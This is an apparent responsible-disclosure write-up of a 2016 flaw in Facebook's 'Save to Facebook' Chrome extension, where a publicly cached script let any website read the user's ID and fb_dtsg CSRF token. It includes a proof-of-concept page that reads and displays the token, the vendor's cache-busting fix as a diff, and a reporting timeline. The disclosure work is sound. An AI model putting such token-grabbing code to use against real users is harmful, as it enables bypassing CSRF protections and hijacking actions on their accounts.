Grab Facebook’s CSRF token through their “Save to Facebook” Chrome extension

Grab Facebook’s CSRF token through their “Save to Facebook” Chrome extension

Facebook developed a Save to Facebook extension for Chrome that lets users easily add webpages to their Facebook Saved list (just like Pocket) anywhere on the web.

The extension loads a JavaScript file at https://www.facebook.com/saved/extension/rsrc/js/ in order to run the extension itself. This URL is not directly accessible, it can only be loaded if the request headers contain Origin: chrome-extension://jmfikkaogpplgnfjmbjdpalkhclendgd

However, this protection is flawed as the script file becomes cached due to the response header of cache-control: public, max-age=21600 being set, therefore the browser will return the cached file when any website requests for it.

Any website can abuse this to find out the current logged-in user ID and get the fb_dtsg token too, potentially bypassing CSRF protections.

Reproduction Instructions / Proof of Concept

  1. Install the extension
  2. Visit the proof-of-concept page (source code below), it will attempt to load the cached script file, therefore revealing the user ID and fb_dtsg token
<script src="https://www.facebook.com/saved/extension/rsrc/js/"></script>
<script>
setTimeout(function() {
	try {
		var userId = require('CurrentUserInitialData').USER_ID;
		var dtsg = require('DTSG').getToken();
		alert('Your Facebook user ID: ' + userId + '\nYour fb_dtsg token: ' + dtsg);
	} catch (ev) {
		alert('Sorry, can\'t find your Facebook user ID, make sure you have the "Save to Facebook" Chrome extension installed');
	}
}, 100);
</script>

Screenshots

Popup alert
Devtools

The fix

Facebook chose to cache bust the script URL on every reload making it harder/impossible to guess.

$ diff 1.0_0/js/background.js 1.1_0/js/background.js --unified
--- 1.0_0/js/background.js	2016-06-26 17:45:48.000000000 +0800
+++ 1.1_0/js/background.js	2016-06-29 11:35:46.000000000 +0800
@@ -81,13 +81,24 @@
   }
 }
 
+function guid() {
+  function s4() {
+    return Math.floor((1 + Math.random()) * 0x10000)
+      .toString(16)
+      .substring(1);
+  }
+  return s4() + s4() + '-' + s4() + '-' + s4() + '-' +
+    s4() + '-' + s4() + s4() + s4();
+}
+
 function ensureJSLoaded() {
   // If loaded or loading, nothing to do
   if (_jsState == NOT_LOADED) {
     _jsState = LOADING;
 
+    var randomKey = guid();
     requestScript(
-      getFullUrl('/saved/extension/rsrc/js/'),
+      getFullUrl('/saved/extension/rsrc/js/?key=' + randomKey),
       function(success) {
         _jsState = (success && SavedExtension !== undefined)
           ? LOADED

Timeline (all times are UTC+8)

This vulnerability was discovered within a few hours of the extension’s launch so few users were actually exposed to this.

  • Time of submission: 2016-06-30 12:21 am
  • Time of first response: 2016-06-30 01:53 am
  • Time of Facebook’s fix email: 2016-07-01 02:00 am

Edit: 2019-03-20

This presentation (slides 33 to 46) describes a similar attack with using the Referer header to attempt validation.